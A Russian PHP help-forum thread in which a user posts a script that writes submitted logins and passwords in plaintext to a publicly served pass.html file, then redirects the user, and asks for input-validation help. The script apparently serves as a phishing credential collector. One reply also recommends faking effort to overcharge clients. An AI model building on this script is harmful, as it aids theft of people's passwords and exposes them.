[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Оброботчик с фильтром
PAVELMEN
Доброго времени суток!

Вот у меня есть скрипт который записывает логин и пароль в файл pass.html

<?php
$BASE="pass.html";
$IS_EMAIL=false;
$LOCATION="/ok.html";

$p0=$_REQUEST["login"];
$p1=$_REQUEST["password"];
$headers = "";
$info="$p0:$p1:\n";

if ($IS_EMAIL){
mail($BASE, "Регистрация завершена!", $headers.$info);
} else {
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
}

header("Location:$LOCATION");
?>

После всех действий пользователь перемещаеться на страницу ok.html.
Как сделать чтоб если он ввел в поле "пароль" символы кроме a-z A-Z 0-9 то он перемещался на страницу error.html
И если он ввел в поле "логин" кол-во символов больше чем 14 то тоже перемещался на error.html
Помогите пожалуйста!



Спустя 22 минуты, 23 секунды (14.08.2011 - 12:03) imbalance_hero написал(а):
mb_strlen - получаем значение длины переменной.
preg_match - проверяем регуляркой введённые данные.
Есть 2 варианта, либо кто-то за тебя напишет регулярку, либо ты сам изучишь регулярные выражение прежде, я сконен ко второму направлению.
Проверку делаешь так:
if(preg_match('|^(тут регулярка)$|',$login))
действие №1
else
действие №2

Спустя 8 часов, 23 минуты, 6 секунд (14.08.2011 - 20:26) PAVELMEN написал(а):
Цитата (imbalance_hero @ 14.08.2011 - 09:03)
mb_strlen - получаем значение длины переменной.
preg_match - проверяем регуляркой введённые данные.
Есть 2 варианта, либо кто-то за тебя напишет регулярку, либо ты сам изучишь регулярные выражение прежде, я сконен ко второму направлению.
Проверку делаешь так:
if(preg_match('|^(тут регулярка)$|',$login))
действие №1
else
действие №2

Знаете ли? я в php можно сказать полный 0!
Можно просто написать такой скрипт как я просил в первом сообщении? кому не сложно! пожалуйста!
В долгу не останусь,получите по шоколадке rolleyes.gif

Спустя 1 час, 3 минуты, 7 секунд (14.08.2011 - 21:29) imbalance_hero написал(а):
Нарисовать картину (1,5 часа) - 400грн. Сплести косички (2 часа) - 300 грн. Починить унитаз (1 час) - 250грн.
(Цена: грн/8 = доллары). Данная регулярка - 1 час, может 1,5 часа. Хотя программисты более дорогостоющие люди, чем сантехники, и девочки плетящие косички. Готов заплатить?

Спустя 12 часов, 28 минут, 35 секунд (15.08.2011 - 09:58) PAVELMEN написал(а):
имеете ввиду 500 грн. за пару строчек кода? нет спасибо!

Спустя 5 дней, 10 часов, 20 минут, 24 секунды (20.08.2011 - 20:18) AlexWindHope написал(а):
а не лучше ли просто обработать форму на стороне клиента и не делать никаких редиректов на error.html... что это за бред?
PS: если нужна будет помощь, консультация и т.д. - скайп alexwindhope.
PPS:денег ненадо laugh.gif
PPPS: писать 1у регулярку полтора часа это конечно сурово, видимо я еще не дорос до таких регулярок - но я хз почему так долго laugh.gif

Спустя 1 час, 1 минута, 5 секунд (20.08.2011 - 21:19) grafnet написал(а):
Цитата (AlexWindHope @ 20.08.2011 - 17:18)
а не лучше ли просто обработать форму на стороне клиента и не делать никаких редиректов на error.

На стороне клиента - это хорошо, но основная проверка должна происходить на сервере. А регулярка там элементарная. Гугл в помощь.

Спустя 5 минут, 53 секунды (20.08.2011 - 21:25) inpost написал(а):
AlexWindHope
Заказчик не должен знать скорость исполнения скрипта. Создавай видимость деятельности, делай качественное приложение, добавляй ещё что-то типо "много, долго, сложный скрипт, стараемся, всё будет великолепно". И вуаля, дешевый продукт продаётся дорого.
А вот если говорить о другой стороне медали, ты же не собираешься работать программистом за 1500-2000 грн.?! smile.gif
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.